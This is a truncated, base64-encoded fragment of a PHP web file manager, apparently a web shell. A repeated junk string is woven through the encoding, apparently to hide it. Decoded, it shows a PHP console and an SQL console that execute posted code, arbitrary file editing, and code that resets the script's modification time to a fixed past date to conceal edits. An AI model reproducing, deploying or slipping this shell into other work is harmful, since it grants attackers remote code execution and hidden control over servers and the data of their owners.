WhkbnQ4V3V3KzZUdlpOOXVuMk5cL1QwSERZZlpEcXNkV2gxK2M3UnlGRHBXT3Q2YXpwenVQMzNGOUpicEwyZFl6eERQMkRQanRoUExLY1JwblZPYjAwZG5GMmU1YzRQemlJdUpTNExMTHBjK0xwc2J4dDNJdmVSS2RQVnhYZUY2MHZXZG03T2J3dTJvMjZcL3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFXC9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVlwvTU44QzN5TGZMVDhOdm5sK0YzME5cL0lcLzlrXC8zclwvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dFwvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCXC9STnRHSTJFTmNLaDVPOGtncVRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJxZUZwcDJJRzB5UFRxOU1ZT1NrWkJ4UXFvaFRaTzJaK3BuNW1aMnk2eGxoYkwreFc2THR5OGVsUWZKYTdPUXJBVlpMUXEyUXFib1ZGb28xeW9Ic21kbFYyYVwvelluS09aYXJuaXZON2N5enl0dVFONXp2blwvXC90RXNJUzRaSzJwWVpMVnkwZFdPYTlyR281c2p4eGVkc0s0eFVGSzRaV0Jxdzh1SXEyS20zVlQ2dnRWNWV1ZnIwbWVrMXJnVjdCeW9MQnRRRnI2d3RWQ3VXRmZldmMxKzFkVDFndldkKzFZZnFHblJzK0ZZbUtyaFRiRjVjVmY5Z28zSGpsRzRkdnlyK1ozSlMwcWF2RXVXVFBadEptNmViZUxaNWJEcGFxbCthWERtNE4yZHEwRGQ5V3RPMzE5a1hiTDVmTktOdTdnN1pEdWFPXC9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozXC9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0FcLzBISXc2MjE3blUxUjNTUFZSU2o5WXI2MGNPeHgrK1wvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKM1wvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCKys2RUhUaDBrWFwvaStjN3ZEdk9YUEs0ZFBLeTIrVVRWN2hYbXE4NlgyM3FkT284XC9wUFRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJMMTU4UmJcLzF0V2VPVDNkdmZONmJcL2ZGOVwvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1JcL2NHaFlQUFwvcEgxanc5REJZK1pqOHVHRFlicm5qZytPVG5pUDNMOTZmeW5RODlrenlhZUZcLzZpXC9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1T1wvYlh5bFwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG9cLzJqNXNmVlQwS2Y3a3htVGtcLzhFQTVqelwvR016TGRzQUFBQUdZa3RIUkFEXC9BUDhBXC82QzlwNU1BQUFBSmNFaFpjd0FBQ3hNQUFBc1RCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJBQUI4a2xFUVZRNHkzV1NNV1wvVFFCaUduKys3c3gzWGRkTUFJbTBua0NvaFJRaUpEU0V4ZEFsXC9BVEJtY1J5OEI3Mnd1VVRONkFLRVEySHRTazQ4Z241cmhwQmEwZ1luRG9sOXg5RFlpVnM0NmRQbmtcL3crOTk3M25nREpcL3Y3Kyt5QUlDaitmSTBIQVwvNVp6RHU4OXpqbU9qbzZ5ZnJcL1wvd0FKQnI5ZTdHNFloeFdTQ1JGSDkwMnFWWmRuWXgzRjhESVFXSU1zeTFwSUVYeFNvTWZWSjUwRmVES1VyY0djd0FWQ0FORTFwdFZxb0txcUtNYWIrcnZaaHZNYm4xeVwvd2c2ZEl0SWFJQUdBQlRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJ0K2pxcFNPMmkzMjhSeFhOdGVoWWdJcHJYTytPTnpybDMrZ3RFQUVXMENoc01oV1pZMTdsNURqT1gwMHh1dTdvejVFVDNrVW1lakJ0ZUFUcWRESE1ld0VLOUNQREFcL2ZNVnM2eGFiMjN0bkl2MkhnXC9GNDNKeTQ5NGdOR0g1NFNmZkdCcWZyajBsYVMzSERRWnFtaEdHSVc4Uld4ZmZuK0R2MjUxdCt0ZVwvUjNlbmhFVVNXVlFOR294RjVudU5YeEtLR3J3ZnZDSGJ2NEs4OHdtaUo2bkt3alJpaktNSVlRem1mSTR2b1JJUWkzdVozOXo1Ym01MHphSFhxNHY0MVlEcWRnZ2hTbG9oekFNeW1PZGR2N21HTVVKWmxJOVpxd0UwSHFvaTFGMTVoSlZydEN4ZStBa2dZaGdUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCY3lMVzFvK282dWNMOEhtZXo0RHhYKzhkQUxHN01lVlVBQUFBQUVsRlRrU3VRbUNDXCIpO1xyXG59XHJcbjw/PWZtX2hvbWVfc3R5bGUoKT8+XHJcbi5pbWcge1xyXG5cdGJhY2tncm91bmQtaW1hZ2U6IFxyXG51cmwoXCJkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUtcL0lOd1dLNlFBQUFkRlFURlJGN2UzdFwvZjM5cEorZitjSmFqVjhxNmVucGtHSW1cL3NGT1wvKzJPMzkzYzV1Ym1cL3N4YmQyOXlpbWRuZUZnNjVPVEJtY1J5OEI3Mnd1VVRONkFLRVEySHRTazQ4Z241cmhwQnJZdG0ycDVBXC8raFhwb1JxcEtPa3dyaTQ2K3ZyME1HMzZZc3o2dWpwbUk2QW56VXl3TCtcL21YVlNtSUJOOGJ3d2oxVkJ5TEd6YTFaSjBORFFqWVNCXC85Tmp3WjZDd1VBc3hrMGJyWnlXdzdwbUdaNEE2THRka0hkZlwvK044eW93MjdiNVc4N1JOTFpMXC8yYmlQN3dBQVwvXC9HSmw1ZVg0TmZZc2FhTGdwNmgxYit0XC8rNlI2OEZlODl5Y2ltWmRcL3VRdjNyOU51cENCOTlWMjVhMWNWSmJibkhoT1wvOHhTK01CYThmRHdpMkppNDhxaVwvK3FPZFZJenMzNHhcL1wvR09YSXpZcDVTUFwvc3hncXBpSWNwK1wvc2lRcGNtcHN0YXlzelNBTnVLS1Q5UFQwNHVMaXdJa3k4TGRFK3NWV3ZxYW04ZVwvdkw1SVorcmxIOGNOZzA4Q2N6N2FkOHZMeTlMdFUxcXlVdVo0K3I1MTIrOHNcL3dVcEwzZDNkeDdXMWZHTmFcLzg5WjJjZkgrczVuNk9qb2IxWXRzN0t6MTlmWHdJZzRwMWROK1BqNHpMUjArOHBkN3N0cmhLQXNcLzloalwvOUJWMUt0ZnRMUzFucDJkWWxKU1pGVlY1TFJXaEVGQjVyaFpcLzlKcTBIdFRcL1wvQ1NrSXFKNks1RCtMTk5ibFZWdmpNMDQ3Wk16N2UzMXhFR1wvXC9cL1wvdEtndTZ3QUFBSnQwVWs1VFwvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvd0NWVnBLWUFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBTlpKUkVGVUtGTmptS1dpUFFzWk1NeGltc3FQS3BBYjJNc0FaTmpMT3dremdnVm1KWW55cHNcL1FFNTllS0NFdEJoYVlGUmZqWnVUaEgyN2xZNmtxQnhZb3JTXC9PTUM1d2lIWmtsMlFDQ1ZUa04rdHJ0Rmo0WlNwTW1hd0RGQkQwbENveW56WkJsMW5JSmo1NUVsQkEwOXBkdmM5YnVUMVNZS1lCV3cxUUlDMG9OWXNqckZISnBTa3ZSWXNCS0NDYk05SExOOXRXcmJxbmpVVUdaRzFBaEd1SVhaUnpwUWwzYUd3RDJCMmNaWjJ6RW9MN1crdTZxeUF1blpYSU9NdlFyRnlrcXdUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCYzhNQUFBQUFTVVZPUks1Q1lJST1cIik7XHJcbn1cclxuQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo3MjBweCl7XHJcbiAgdGFibGV7ZGlzcGxheTpibG9jazt9XHJcbiAgICAjZm1fdGFibGUgdGR7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt9XHJcbiAgICAjZm1fdGFibGUgdGJvZHkgdGQ6Zmlyc3QtY2hpbGR7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fVxyXG4gICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybisxKXtiYWNrZ3JvdW5kLWNvbG9yOiNFRkVGRUY7fVxyXG4gICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybil7YmFja2dyb3VuZC1jb2xvcjojREVFM0U3O31cclxuICAgICNmbV90YWJsZSB0cntkaXNwbGF5OmJsb2NrO2Zsb2F0OmxlZnQ7Y2xlYXI6bGVmdDt3aWR0aDoxMDAlO31cclxuXHQjaGVhZGVyX3RhYmxlIC5yb3cyLCAjaGVhZGVyX3RhYmxlIC5yb3czIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O3dpZHRoOjEwMCU7cGFkZGluZzowO31cclxuXHQjaGVhZGVyX3RhYmxlIHRhYmxlIHRkIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O31cclxufVxyXG48XC9zdHlsZT5cclxuPFwvaGVhZD5cclxuPGJvZHk+XHJcbjw/cGhwXHJcbiR1cmxfaW5jID0gJz9mbT10cnVlJztcclxuaWYgKGlzc2V0KCRfUE9TVFsnc3FscnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3NxbF9jb25zb2xlJ10pKXtcclxuXHQkcmVzID0gZW1wdHkoJF9QT1NUWydzcWwnXSkgPyAnJyA6ICRfUE9TVFsnc3FsJ107XHJcblx0JHJlc19sbmcgPSAnc3FsJztcclxufSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsncGhwcnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3BocF9jb25zb2xlJ10pKXtcclxuXHQkcmVzID0gZW1wdHkoJF9QT1NUWydwaHAnXSkgPyAnJyA6ICRfUE9TVFsncGhwJ107XHJcblx0JHJlc19sbmcgPSAncGhwJztcclxufSBcclxuaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkge1xyXG5cdGVjaG8gJyBcclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIj5cclxuPGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIlwiPlxyXG48dHI+PHRoIGNvbHNwYW49XCIyXCI+Jy5fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuX18oJ1NldHRpbmdzJykuJzxcL3RoPjxcL3RyPlxyXG4nLihlbXB0eSgkbXNnKT8nJzonPHRyPjx0ZCBjbGFzcz1cInJvdzJcIiBjb2xzcGFuPVwiMlwiPicuJG1zZy4nPFwvdGQ+PFwvdHI+JykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cgc2l6ZSBvZiB0aGUgZm9sZGVyJyksJ3Nob3dfZGlyX3NpemUnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygncGljdHVyZXMnKSwnc2hvd19pbWcnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTWFrZSBkaXJlY3RvcnknKSwnbWFrZV9kaXJlY3RvcnknKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTmV3IGZpbGUnKSwnbmV3X2ZpbGUnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnVXBsb2FkJyksJ3VwbG9hZF9maWxlJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCB2ZXJzaW9uJywnc2hvd19waHBfdmVyJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCBpbmknLCdzaG93X3BocF9pbmknKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnR2VuZXJhdGlvbiB0aW1lJyksJ3Nob3dfZ3QnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgeGxzJywnc2hvd194bHMnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3BocF9jb25zb2xlJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFNRTCAnLl9fKCdDb25zb2xlJyksJ2VuYWJsZV9zcWxfY29uc29sZScpLidcclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2NvbmZpZ1tzcWxfc2VydmVyXVwiIHZhbHVlPVwiJy4kZm1fY29uZmlnWydzcWxfc2VydmVyJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPlNRTCBzZXJ2ZXI8XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2NvbmZpZ1tzcWxfdXNlcm5hbWVdXCIgdmFsdWU9XCInLiRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLidcIiB0eXBlPVwidGV4dFwiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj5TUUwgdXNlcjxcL3RkPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fY29uZmlnW3NxbF9wYXNzd29yZF1cIiB2YWx1ZT1cIicuJGZtX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPlNRTCBwYXNzd29yZDxcL3RkPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fY29uZmlnW3NxbF9kYl1cIiB2YWx1ZT1cIicuJGZtX2NvbmZpZ1snc3FsX2RiJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPlNRTCBEQjxcL3RkPjxcL3RyPlxyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFByb3h5JywnZW5hYmxlX3Byb3h5JykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIHBocGluZm8oKScsJ3Nob3dfcGhwaW5mbycpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdTZXR0aW5ncycpLCdmbV9zZXR0aW5ncycpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ3Jlc3RvcmVfdGltZScpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdGaWxlIG1hbmFnZXInKS4nOiAnLl9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ2ZtX3Jlc3RvcmVfdGltZScpLidcclxuPHRyPjx0ZCBjbGFzcz1cInJvdzNcIj48YSBocmVmPVwiJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUmZm1fY29uZmlnX2RlbGV0ZT10cnVlXCI+Jy5fXygnUmVzZXQgc2V0dGluZ3MnKS4nPFwvYT48XC90ZD48dGQgY2xhc3M9XCJyb3czXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIicuX18oJ1NhdmUnKS4nXCIgbmFtZT1cImZtX2NvbmZpZ1tmbV9zZXRfc3VibWl0XVwiPjxcL3RkPjxcL3RyPlxyXG48XC9mb3JtPlxyXG48XC90YWJsZT5cclxuPHRhYmxlPlxyXG48Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+XHJcbjx0cj48dGggY29sc3Bhbj1cIjJcIj4nLl9fKCdTZXR0aW5ncycpLicgLSAnLl9fKCdBdXRob3JpemF0aW9uJykuJzxcL3RoPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fbG9naW5bYXV0aG9yaXplXVwiIHZhbHVlPVwiMVwiICcuKCRhdXRoWydhdXRob3JpemUnXT8nY2hlY2tlZCc6JycpLicgdHlwZT1cImNoZWNrYm94XCIgaWQ9XCJhdXRoXCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPjxsYWJlbCBmb3I9XCJhdXRoXCI+Jy5fXygnQXV0aG9yaXphdGlvbicpLic8XC9sYWJlbD48XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2xvZ2luW2xvZ2luXVwiIHZhbHVlPVwiJy4kYXV0aFsnbG9naW4nXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI+Jy5fXygnTG9naW4nKS4nPFwvdGQ+PFwvdHI+XHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IG5hbWU9XCJmbV9sb2dpbltwYXNzd29yZF1cIiB2YWx1ZT1cIicuJGF1dGhbJ3Bhc3N3b3JkJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPicuX18oJ1Bhc3N3b3JkJykuJzxcL3RkPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fbG9naW5bY29va2llX25hbWVdXCIgdmFsdWU9XCInLiRhdXRoWydjb29raWVfbmFtZSddLidcIiB0eXBlPVwidGV4dFwiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj4nLl9fKCdDb29raWUnKS4nPFwvdGQ+PFwvdHI+XHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IG5hbWU9XCJmbV9sb2dpbltkYXlzX2F1dGhvcml6YXRpb25dXCIgdmFsdWU9XCInLiRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI+Jy5fXygnRGF5cycpLic8XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48dGV4dGFyZWEgbmFtZT1cImZtX2xvZ2luW3NjcmlwdF1cIiBjb2xzPVwiMzVcIiByb3dzPVwiN1wiIGNsYXNzPVwidGV4dGFyZWFfaW5wdXRcIiBpZD1cImF1dGhfc2NyaXB0XCI+Jy4kYXV0aFsnc2NyaXB0J10uJzxcL3RleHRhcmVhPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj4nLl9fKCdTY3JpcHQnKS4nPFwvdGQ+PFwvdHI+XHJcbjx0cj48dGQgY29sc3Bhbj1cIjJcIiBjbGFzcz1cInJvdzNcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnU2F2ZScpLidcIiA+PFwvdGQ+PFwvdHI+XHJcbjxcL2Zvcm0+XHJcbjxcL3RhYmxlPic7XHJcbmVjaG8gZm1fdHBsX2Zvcm0oJ3BocCcpLGZtX3RwbF9mb3JtKCdzcWwnKTtcclxufSBlbHNlaWYgKGlzc2V0KCRwcm94eV9mb3JtKSkge1xyXG5cdGRpZSgkcHJveHlfZm9ybSk7XHJcbn0gZWxzZWlmIChpc3NldCgkcmVzX2xuZykpIHtcdFxyXG4/PlxyXG48dGFibGUgY2xhc3M9XCJ3aG9sZVwiPlxyXG48dHI+XHJcbiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48XC90aD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzJcIj48dGFibGU+PHRyPjx0ZD48aDI+PD89c3RydG91cHBlcigkcmVzX2xuZyk/PiA8Pz1fXygnQ29uc29sZScpPz48P3BocFxyXG5cdGlmKCRyZXNfbG5nPT0nc3FsJykgZWNobyAnIC0gRGF0YWJhc2U6ICcuJGZtX2NvbmZpZ1snc3FsX2RiJ10uJzxcL2gyPjxcL3RkPjx0ZD4nLmZtX3J1bl9pbnB1dCgncGhwJyk7XHJcblx0ZWxzZSBlY2hvICc8XC9oMj48XC90ZD48dGQ+Jy5mbV9ydW5faW5wdXQoJ3NxbCcpO1xyXG5cdD8+PFwvdGQ+PFwvdHI+PFwvdGFibGU+PFwvdGQ+XHJcbjxcL3RyPlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI+XHJcblx0XHQ8YSBocmVmPVwiPD89JHVybF9pbmMuJyZwYXRoPScgLiAkcGF0aDs/PlwiPjw/PV9fKCdCYWNrJyk/PjxcL2E+XHJcblx0XHQ8Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJQT1NUXCIgbmFtZT1cImNvbnNvbGVcIj5cclxuXHRcdDx0ZXh0YXJlYSBuYW1lPVwiPD89JHJlc19sbmc/PlwiIGNvbHM9XCI4MFwiIHJvd3M9XCIxMFwiIHN0eWxlPVwid2lkdGg6IDkwJVwiPjw/PSRyZXM/PjxcL3RleHRhcmVhPjxiclwvPlxyXG5cdFx0PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiPD89X18oJ1Jlc2V0Jyk/PlwiPlxyXG5cdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIjw/PV9fKCdTdWJtaXQnKT8+XCIgbmFtZT1cIjw/PSRyZXNfbG5nPz5ydW5cIj5cclxuPD9waHBcclxuJHN0cl90bXBsID0gJHJlc19sbmcuJ190ZW1wbGF0ZXMnO1xyXG4kdG1wbCA9ICFlbXB0eSgkJHN0cl90bXBsKSA/IGpzb25fZGVjb2RlKCQkc3RyX3RtcGwsdHJ1ZSkgOiAnJztcclxuaWYgKCFlbXB0eSgkdG1wbCkpe1xyXG5cdCRhY3RpdmUgPSBpc3NldCgkX1BPU1RbJHJlc19sbmcuJ190cGwnXSkgPyAkX1BPU1RbJHJlc19sbmcuJ190cGwnXSA6ICcnO1xyXG5cdCRzZWxlY3QgPSAnPHNlbGVjdCBuYW1lPVwiJy4kcmVzX2xuZy4nX3RwbFwiIHRpdGxlPVwiJy5fXygnVGVtcGxhdGUnKS4nXCIgb25jaGFuZ2U9XCJpZiAodGhpcy52YWx1ZSE9LTEpIGRvY3VtZW50LmZvcm1zW1xcJ2NvbnNvbGVcXCddLmVsZW1lbnRzW1xcJycuJHJlc19sbmcuJ1xcJ10udmFsdWUgPSB0aGlzLm9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWU7IGVsc2UgZG9jdW1lbnQuZm9ybXNbXFwnY29uc29sZVxcJ10uZWxlbWVudHNbXFwnJy4kcmVzX2xuZy4nXFwnXS52YWx1ZSA9XFwnXFwnO1wiID4nLlwiXFxuXCI7XHJcblx0JHNlbGVjdCAuPSAnPG9wdGlvbiB2YWx1ZT1cIi0xXCI+JyAuIF9fKCdTZWxlY3QnKSAuIFwiPFwvb3B0aW9uPlxcblwiO1xyXG5cdGZvcmVhY2ggKCR0bXBsIGFzICRrZXk9PiR2YWx1ZSl7XHJcblx0XHQkc2VsZWN0Lj0nPG9wdGlvbiB2YWx1ZT1cIicuJHZhbHVlLidcIiAnLigoIWVtcHR5KCR2YWx1ZSkmJigkdmFsdWU9PSRhY3RpdmUpKT8nc2VsZWN0ZWQnOicnKS4nID4nLl9fKCRrZXkpLlwiPFwvb3B0aW9uPlxcblwiO1xyXG5cdH1cclxuXHQkc2VsZWN0IC49IFwiPFwvc2VsZWN0PlxcblwiO1xyXG5cdGVjaG8gJHNlbGVjdDtcclxufVxyXG4/PlxyXG5cdFx0PFwvZm9ybT5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjxcL3RhYmxlPlxyXG48P3BocFxyXG5cdGlmICghZW1wdHkoJHJlcykpIHtcclxuXHRcdCRmdW49J2ZtXycuJHJlc19sbmc7XHJcblx0XHRlY2hvICc8aDM+Jy5zdHJ0b3VwcGVyKCRyZXNfbG5nKS4nICcuX18oJ1Jlc3VsdCcpLic8XC9oMz48cHJlPicuJGZ1bigkcmVzKS4nPFwvcHJlPic7XHJcblx0fVxyXG59IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsnZWRpdCddKSl7XHJcblx0aWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkge1xyXG5cdFx0JGZuID0gJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXTtcclxuXHRcdCRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoJGZuKTtcclxuXHQgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmbiwgJF9SRVFVRVNUWyduZXdjb250ZW50J10pKSAkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTtcclxuXHRcdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdGlmICgkX0dFVFsnZWRpdCddPT1iYXNlbmFtZShfX0ZJTEVfXykpIHtcclxuXHRcdFx0dG91Y2goX19GSUxFX18sMTQxNTExNjM3MSk7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Jlc3RvcmVfdGltZSddKSkgdG91Y2goJGZuLCRmaWxlbXRpbWUpO1xyXG5cdFx0fVxyXG5cdH1cclxuICAgICRvbGRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J10pO1xyXG4gICAgJGVkaXRsaW5rID0gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRfUkVRVUVTVFsnZWRpdCddIC4gJyZwYXRoPScgLiAkcGF0aDtcclxuICAgICRiYWNrbGluayA9ICR1cmxfaW5jIC4gJyZwYXRoPScgLiAkcGF0aDtcclxuPz5cclxuPHRhYmxlIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScxJyB3aWR0aD1cIjEwMCVcIj5cclxuPHRyPlxyXG4gICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnRWRpdCcpLicgLSAnLiRwYXRoLiRfUkVRVUVTVFsnZWRpdCddPz48XC90aD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8Pz0kbXNn